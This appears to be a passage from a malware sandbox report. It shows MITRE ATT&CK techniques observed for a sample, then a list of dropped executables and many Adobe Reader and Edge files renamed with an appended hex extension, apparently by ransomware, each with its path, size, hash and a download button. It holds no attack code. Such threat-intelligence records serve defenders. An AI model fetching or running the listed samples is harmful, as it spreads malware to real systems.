                                                                                                                                                                                                                    T1552.002

                                                                                                                                                                                                                    Discovery

                                                                                                                                                                                                                    Browser Information Discovery

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1217

                                                                                                                                                                                                                    Network Service Discovery

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1046

                                                                                                                                                                                                                    Query Registry

                                                                                                                                                                                                                    3
                                                                                                                                                                                                                    T1012

                                                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                                                    3
                                                                                                                                                                                                                    T1082

                                                                                                                                                                                                                    System Location Discovery

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1614

                                                                                                                                                                                                                    System Language Discovery

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1614.001

                                                                                                                                                                                                                    System Time Discovery

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1124

                                                                                                                                                                                                                    Lateral Movement

                                                                                                                                                                                                                    Collection

                                                                                                                                                                                                                    Data from Local System

                                                                                                                                                                                                                    3
                                                                                                                                                                                                                    T1005

                                                                                                                                                                                                                    Command and Control

                                                                                                                                                                                                                    Web Service

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1102

                                                                                                                                                                                                                    Exfiltration

                                                                                                                                                                                                                    Impact

                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                    1.exe
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\1.exe
                                                                                                                                                                                                                    • Size 811KB
                                                                                                                                                                                                                    • SHA256 e261d309f30de33a1ba0aa43604db15f3326c6c8c5b291bdd52f18ea361fe3dd
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    2.exe
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\2.exe
                                                                                                                                                                                                                    • Size 4.4MB
                                                                                                                                                                                                                    • SHA256 fcd8d4592cf92fb9f9235a2774cdc8aff4265d4015269fb7aa995182f8ce26e1
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    3.exe
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\3.exe
                                                                                                                                                                                                                    • Size 9KB
                                                                                                                                                                                                                    • SHA256 0ac1125284e2600d3714c0226f800f4d8d9aa291fa299bb1d33b7d8984b5e1c0
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    4.exe
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\4.exe
                                                                                                                                                                                                                    • Size 338KB
                                                                                                                                                                                                                    • SHA256 a176e32335d81e69906f1c062e62247e97b8863f2c6148a36713e5bed5d16195
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    icudtl.dat.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\icudtl.dat.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 16B
                                                                                                                                                                                                                    • SHA256 368b9cf6353dc118ee9b12181d7797f47ea5b999ab078d5c9432d5351c338f15
                                                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    s_remove_18.svg.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_remove_18.svg.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 720B
                                                                                                                                                                                                                    • SHA256 990ced1dd39a9e40b8613e9f83ab8346977b9018fe71e12b17707434cb3b51fe
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    example_icons.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 688B
                                                                                                                                                                                                                    • SHA256 c6f97a0fc4138b930829a3641252c2d12a2e947efb689254c48f636134717ac7
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    example_icons2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                                                    • SHA256 5e14c3151d26b3d3b168285cbc185c1abaf26eb258dad34e2611ce3f992ad43d
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    rhp_world_icon.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 448B
                                                                                                                                                                                                                    • SHA256 abc762555d90881788c9e2975080253b39356eb98f9515fa76e93ccef42dff4d
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    rhp_world_icon_2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 624B
                                                                                                                                                                                                                    • SHA256 695fbc421ea9f938062cc8adb0a491f76030d8bab01a7ec943d89bb99b69b490
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    rhp_world_icon_hover.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 400B
                                                                                                                                                                                                                    • SHA256 2cd4f15e8797033e34f18091a2dbdb3f91302e44028d9333cf825bcaf52ff5eb
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    rhp_world_icon_hover_2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover_2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 560B
                                                                                                                                                                                                                    • SHA256 45b6fc7ab8a4b1779a89131eca806b783214ae9aa63918145ac999eb777df292
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    rhp_world_icon.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 400B
                                                                                                                                                                                                                    • SHA256 073fe07f26c4201cfd861a56069ced137d0c6d47f9396cc002101679b3850bce
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    rhp_world_icon_2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 560B
                                                                                                                                                                                                                    • SHA256 83f41cbc9aad61bd4038621da9982622f8618872a8f1a7e9062100f3db161f3a
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    rhp_world_icon_hover.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 400B
                                                                                                                                                                                                                    • SHA256 89f6ac0bb5cd73f00a34d41f72d005895ba88d28105d7664c93344bc27ecf430
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    rhp_world_icon_hover_2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 560B
                                                                                                                                                                                                                    • SHA256 b93137cb62d37aae1d88204928e4b3ae63faebfbc8e08a66f670ee5d120675d2
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    icons.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 7KB
                                                                                                                                                                                                                    • SHA256 5f37574ba3f139ac601c4959bac65c7cacc20b32b07967a119ff60086777bdaa
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    icons_ie8.gif.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_ie8.gif.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 7KB
                                                                                                                                                                                                                    • SHA256 2912174e19cc914e401aa2aa503bd9c8a5fd3ba66f183efe19748098f1e89f09
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    icons_retina.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons_retina.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 15KB
                                                                                                                                                                                                                    • SHA256 865c8b03adc19a60763c2fe6f610488eab30031ea30d9c8b18933d05ca38cd04
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    new_icons.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 8KB
                                                                                                                                                                                                                    • SHA256 1f9fc503e6ab335a454509f8818be40839441bb665da41e4324b4310280aeb6a
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    new_icons_retina.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons_retina.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 17KB
                                                                                                                                                                                                                    • SHA256 dc7143dc1566d3baed2b4097bcb65b94f09a2faaba1e983f3e1828ffc331e516
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    bg_pattern_RHP.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_pattern_RHP.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 192B
                                                                                                                                                                                                                    • SHA256 2f20aa3ae1d1a3a28a60c89dc84c49f9e2439ccc9aa3cfb48c058d11089a2b0a
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    bg_patterns_header.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_patterns_header.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 704B
                                                                                                                                                                                                                    • SHA256 b25701ca9a1d12bf45684f20084da78135a6176b4f892f5219380f0bca6aec82
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    illustrations.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 8KB
                                                                                                                                                                                                                    • SHA256 107994794a154de52842c8f14682c193d1d501107f5136c6029fe9de64831932
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    illustrations_retina.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations_retina.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 19KB
                                                                                                                                                                                                                    • SHA256 3c85e4bc83bae0ff6d95ae3e0fa8bec25357cb8160f32342e44bfb76bbc0387c
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    ui-strings.js.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\ui-strings.js.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 832B
                                                                                                                                                                                                                    • SHA256 9e869520a7894157fd30f604da85209a138fcf924910f3071b327b6d8c1d51f5
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    ui-strings.js.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ui-strings.js.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                                                    • SHA256 2c06143af47d33d75785afcadfa665590659b3db782526d846ec56093989b9d1
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    ui-strings.js.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ui-strings.js.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                                                    • SHA256 2f9521d0119395713c26afbbc375709dbb39f648b0cd493866f0559887e05bc6
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    main.css.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\css\main.css.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 816B
                                                                                                                                                                                                                    • SHA256 6ca8549fcfbbc6662f3c869512f17e4d6c9ddaf323033a2d6b774045f4b4a0cd
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    bun.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 2KB
                                                                                                                                                                                                                    • SHA256 ad1825f0c2d3c1ed3f4311431d81b79a8736e53da083c8e0d38f19fbe434eec1
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    cstm_brand_preview.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 2KB
                                                                                                                                                                                                                    • SHA256 2d6d23103f1a2243c048534c27e370e8cf5288933ed97e07eab9055686b540b7
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    cstm_brand_preview2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 4KB
                                                                                                                                                                                                                    • SHA256 ce459eb2db2ed0cec0e11f5b6c24d4cf04ba208f49c1cee5669fad132372fd34
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    dd_arrow_small.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 304B
                                                                                                                                                                                                                    • SHA256 77fefd5a75c63963ae4e54c63d42a5b8774a49cfbb7aa8d495314f5857f5d047
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    dd_arrow_small2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 400B
                                                                                                                                                                                                                    • SHA256 cf842a8843f849381b1658b6377b4cbd1f4c4b29e2c537a58b3d92fad2308ddb
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    nub.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\nub.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 1008B
                                                                                                                                                                                                                    • SHA256 5a73aba55f16ee1bf8d06995ce9e01e8e1914ce0141b0cc49c0e2828d9fb9a00
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    share_icons.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                                                    • SHA256 bb76405a3ac736a445f89a9632ce59d1e6320ff4970be4038ba76cada0265cd6
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    share_icons2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons2x.png.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 2KB
                                                                                                                                                                                                                    • SHA256 61c8563b28f4ef6a93b16618472666354053aa77dfc1ef35fb50d288e6de79e5
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    ui-strings.js.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nl-nl\ui-strings.js.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 848B
                                                                                                                                                                                                                    • SHA256 861c17c3cc0877359979f881723e6c97c8cf55cf5dedf92e23a84f96c22178b4
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    DisplayLanguageNames.en_US_POSIX.txt.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 32KB
                                                                                                                                                                                                                    • SHA256 c5c402dd9b997104213d0849beaa8944e1a8a24178da87436289e7a733041a04
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    delegatedWebFeatures.sccd.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\delegatedWebFeatures.sccd.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 17KB
                                                                                                                                                                                                                    • SHA256 6402a0449a2452e5ab7805872ba8cd6e3aabae01a0795a14f6c3a066d6e71069
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    stable.identity_helper.exe.manifest.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\identity_proxy\stable.identity_helper.exe.manifest.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                                                    • SHA256 78bd9959c378ab8aeb5991f41795383376606d0588d3f64bbd670a845d3bde6a
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    identity_helper.Sparse.Beta.msix.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\identity_proxy\win10\identity_helper.Sparse.Beta.msix.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 53KB
                                                                                                                                                                                                                    • SHA256 2495a84d8e70a049914c58be6b7ff14161c8e1302a8f73d472c5c767e6335ae1
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    identity_helper.Sparse.Canary.msix.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\identity_proxy\win10\identity_helper.Sparse.Canary.msix.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
                                                                                                                                                                                                                    • Size 53KB
                                                                                                                                                                                                                    • SHA256 410463a540bf3b7222f47b101dbee430bbd29711e46f5496f62ee540d67b1c63
                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                    identity_helper.Sparse.Dev.msix.F68A6000242FF52B88B233418C58C9765459FB9DE3EE6A8F53FBC0AE6339C75F
